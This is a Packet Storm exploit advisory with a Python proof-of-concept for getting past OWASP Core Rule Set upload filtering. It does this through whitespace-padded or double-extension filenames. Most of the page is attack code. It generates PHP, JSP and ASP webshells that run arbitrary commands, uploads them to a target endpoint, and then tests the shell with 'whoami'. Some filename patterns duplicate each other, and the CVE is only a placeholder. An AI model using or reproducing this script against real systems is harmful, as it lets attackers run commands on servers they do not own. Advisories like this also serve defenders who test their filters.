PACKETSTORM

📄 OWASP CRS 3.3.9 / 4.25.x LTS / 4.8.x File Upload Bypass_PACKETSTORM:219846

Description

This proof of concept demonstrating a weakness in some web applications protected by OWASP Core Rule Set CRS or similar filters, where file upload validation can be bypassed using ambiguous filename formatting...
Visit Original Source

Basic Information

ID PACKETSTORM:219846
Published Apr 27, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : OWASP CRS 3.3.9, 4.25.x LTS, and 4.8.x. File Upload Bypass via Filename Whitespace / Extension Parsing Weakness |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://owasp.org/ |
==================================================================================================================================

[+] Summary : a weakness in some web applications protected by OWASP Core Rule Set (CRS) or similar filters, where file upload validation can be bypassed using ambiguous filename formatting.

[+] POC :

#!/usr/bin/env python3

import requests
import sys
import argparse
import os
from urllib.parse import urljoin

class CRSBypassExploit:
def __init__(self, target_url, upload_endpoint, verbose=False):
self.target_url = target_url.rstrip('/')
self.upload_endpoint = upload_endpoint
self.verbose = verbose
self.session = requests.Session()

def log(self, message, level="INFO"):
if self.verbose or level == "ERROR":
colors = {
"INFO": "\033[94m",
"SUCCESS": "\033[92m",
"ERROR": "\033[91m",
"WARNING": "\033[93m"
}
print(f"{colors.get(level, '')}[{level}] {message}\033[0m")

def generate_webshell_php(self, cmd_param="cmd"):
return f"""<?php
if (isset($_REQUEST['{cmd_param}'])) {{
$cmd = $_REQUEST['{cmd_param}'];
echo "<pre>" . shell_exec($cmd) . "</pre>";
}} else {{
echo "Webshell loaded. Use ?{cmd_param}=command";
}}
?>"""

def generate_webshell_jsp(self, cmd_param="cmd"):
return f"""<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("{cmd_param}");
if (cmd != null) {{
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {{
out.println(line);
}}
}}
%>"""

def generate_webshell_asp(self, cmd_param="cmd"):
return f"""<%
Dim cmd
cmd = Request("{cmd_param}")
If cmd <> "" Then
CreateObject("WScript.Shell").Run cmd, 0, True
End If
%>"""

def upload_file(self, file_content, original_filename, extension, whitespace_position="before"):
if whitespace_position == "before":
filename = f"{original_filename}. {extension}"
elif whitespace_position == "after":
filename = f"{original_filename}.{extension} "
elif whitespace_position == "both":
filename = f"{original_filename}. {extension} "
elif whitespace_position == "double":
filename = f"{original_filename}.{extension} "
else:
filename = f"{original_filename}.{extension}"

files = {
'file': (filename, file_content,
'application/x-httpd-php' if extension == 'php' else 'application/x-jsp')
}

try:
url = urljoin(self.target_url, self.upload_endpoint)
response = self.session.post(url, files=files)

self.log(f"Uploaded: {filename}", "INFO")
self.log(f"Response status: {response.status_code}", "INFO")

return {
'success': response.status_code < 400,
'filename': filename,
'response': response.text,
'status_code': response.status_code
}
except Exception as e:
self.log(f"Upload failed: {e}", "ERROR")
return None

def exploit_php(self, original_filename="shell"):
self.log("Attempting PHP webshell upload...", "INFO")
content = self.generate_webshell_php()
patterns = ['before', 'after', 'both', 'double']

for pattern in patterns:
self.log(f"Trying pattern: {pattern}", "INFO")
result = self.upload_file(content, original_filename, "php", pattern)

if result and result['success']:
self.log(f"SUCCESS! Uploaded with pattern: {pattern}", "SUCCESS")
return result

self.log("All PHP patterns failed", "WARNING")
return None

def exploit_jsp(self, original_filename="shell"):
self.log("Attempting JSP webshell upload...", "INFO")
content = self.generate_webshell_jsp()
patterns = ['before', 'after', 'both', 'double']

for pattern in patterns:
self.log(f"Trying pattern: {pattern}", "INFO")
result = self.upload_file(content, original_filename, "jsp", pattern)

if result and result['success']:
self.log(f"SUCCESS! Uploaded with pattern: {pattern}", "SUCCESS")
return result

self.log("All JSP patterns failed", "WARNING")
return None

def test_webshell(self, upload_path, cmd="whoami"):
try:
url = urljoin(self.target_url, upload_path)
response = self.session.get(url, params={'cmd': cmd})

if response.status_code == 200 and response.text:
self.log(f"Webshell working! Command output: {response.text[:200]}", "SUCCESS")
return True
else:
self.log("Webshell test failed", "WARNING")
return False
except Exception as e:
self.log(f"Test failed: {e}", "ERROR")
return False

def exploit_double_extension(self):
self.log("Attempting double-extension bypass...", "INFO")

content = self.generate_webshell_php()
filename = "shell. php.jpg"

files = {
'file': (filename, content, 'image/jpeg')
}

try:
url = urljoin(self.target_url, self.upload_endpoint)
response = self.session.post(url, files=files)

if response.status_code < 400:
self.log(f"Double-extension upload successful: {filename}", "SUCCESS")
return {
'success': True,
'filename': filename,
'status_code': response.status_code
}
else:
self.log("Double-extension upload failed", "WARNING")
return None
except Exception as e:
self.log(f"Double-extension upload failed: {e}", "ERROR")
return None


def main():
parser = argparse.ArgumentParser(description='OWASP CRS Bypass Exploit - File Upload with Whitespace Padding')
parser.add_argument('-u', '--url', required=True)
parser.add_argument('-e', '--endpoint', default='/upload')
parser.add_argument('-t', '--type', choices=['php', 'jsp', 'both'], default='both')
parser.add_argument('-v', '--verbose', action='store_true')
parser.add_argument('-c', '--command', default='whoami')

args = parser.parse_args()

print("=" * 60)
print("OWASP CRS Bypass Exploit - CVE-2025-XXXXX")
print("=" * 60)

exploit = CRSBypassExploit(args.url, args.endpoint, args.verbose)
results = []

if args.type in ['php', 'both']:
result = exploit.exploit_php()
if result:
results.append(('PHP', result))

if args.type in ['jsp', 'both']:
result = exploit.exploit_jsp()
if result:
results.append(('JSP', result))

double_result = exploit.exploit_double_extension()
if double_result:
results.append(('Double Extension', double_result))

if results:
print("\n" + "=" * 60)
print("EXPLOITATION SUMMARY")
print("=" * 60)

for exploit_type, result in results:
print(f"\n[+] {exploit_type} exploit successful!")
print(f" Filename: {result.get('filename')}")
print(f" Status: {result.get('status_code', 'N/A')}")

print(f"\n[*] Testing webshell with command: {args.command}")
exploit.test_webshell(result.get('filename'), args.command)
else:
print("\n[-] Exploitation failed!")


if __name__ == "__main__":
main()

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.